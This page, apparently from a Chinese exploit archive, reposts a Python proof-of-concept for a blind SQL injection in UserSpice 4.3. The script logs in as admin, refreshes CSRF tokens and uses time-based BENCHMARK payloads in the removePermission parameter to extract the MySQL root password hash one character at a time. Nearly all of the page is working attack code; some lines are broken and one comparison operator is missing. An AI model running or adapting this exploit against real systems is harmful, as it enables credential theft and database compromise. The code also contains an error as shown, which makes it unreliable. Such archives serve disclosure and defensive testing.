首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
UserSpice 4.3 - Blind SQL Injection
来源:vfocus.net 作者:DolevFarhi 发布时间:2018-02-26  
#!/usr/env/python
"""
Application UserSpice PHP user management
Vulnerability UserSpice <= 4.3 Blind SQL Injection exploit
URL https://userspice.com
Date 1.2.2018
Author Dolev Farhi
 
About the App:
What makes userspice different from almost any other PHP User Management
Framework is that it has been designed from the
beginning to get out of your way so you can spend your time working on
your project
 
About the vulnerability:
Unsanitized input passed to removePermission parameter.
"""
 
import requests
import string
import sys
 
from bs4 import BeautifulSoup
 
userspice_host = '10.0.0.16'
userspice_user = 'admin'
userspice_pass = 'password'
userspice_login_url = 'http://%s//users/login.php' % userspice_host
userspice_vuln_url = 'http://%s/users/admin_page.php?id=75' %
userspice_host
guess_chars = string.ascii_lowercase + string.ascii_uppercase +
string.digits + string.punctuation
 
 
banner = """
-------------------------------------------------------
| userSpice <= 4.3 Blind SQL Injection Vulnerability" |
-------------------------------------------------------
"""
 
login_data = {
'dest':'',
'username':userspice_user,
'password':userspice_pass
}
 
payload = {
'process':'1',
'removePermission[]':'1',
'private':'Yes',
'changeTitle':''
}
 
s = requests.session()
 
def getCSRF(url):
req = s.get(url).text
soup = BeautifulSoup(req, "lxml")
csrf = soup.find('input', {"name" : "csrf"})
csrf_token = csrf['value']
return csrf_token
 
login_data_csrf = getCSRF(userspice_login_url)
login_data['csrf'] = login_data_csrf
req = s.post(userspice_login_url, data=login_data)
 
if 'login failed' in req.text.lower():
print('Login failed, check username/password')
sys.exit(1)
 
payload_data_csrf = getCSRF(userspice_vuln_url)
payload['csrf'] = payload_data_csrf
print(banner)
print('[+] Running...')
print('[+] Obtaining MySQL root hash... this may take some time.')
password = ""
for i in range(0, 61):
for c in guess_chars:
payload_data_csrf = getCSRF(userspice_vuln_url)
payload['csrf'] = payload_data_csrf
injection = "5); SELECT 1 UNION SELECT IF(BINARY
SUBSTRING(password,{0},1)='{1}',BENCHMARK(3000000,SHA1(1)),0) Password
FROM mysql.user WHERE User = 'root'#;".format(i, c)
payload['removePermission[]'] = injection
req = s.post(userspice_vuln_url, data=payload).elapsed.total_seconds()
if float(req) 0.6:
password += c
print('[+] %s' % password)
else:
pass
 
print('done')
sys.exit(0)
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Wavpack 5.1.0 - Denial of Serv
·AsusWRT LAN Unauthenticated Re
·Microsoft Internet Explorer 11
·CloudMe Sync 1.10.9 Buffer Ove
·Microsoft Windows Kernel - 'nt
·Disk Savvy Enterprise 10.4.18
·Siemens SIPROTEC 4 and SIPROTE
·Microsoft Edge Chakra JIT Call
·JBoss Remoting 6.14.18 - Denia
·Chrome V8 TranslatedState::Mat
·Chrome V8 - 'Runtime_RegExpRep
·Chrome V8 PropertyArray Intege
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved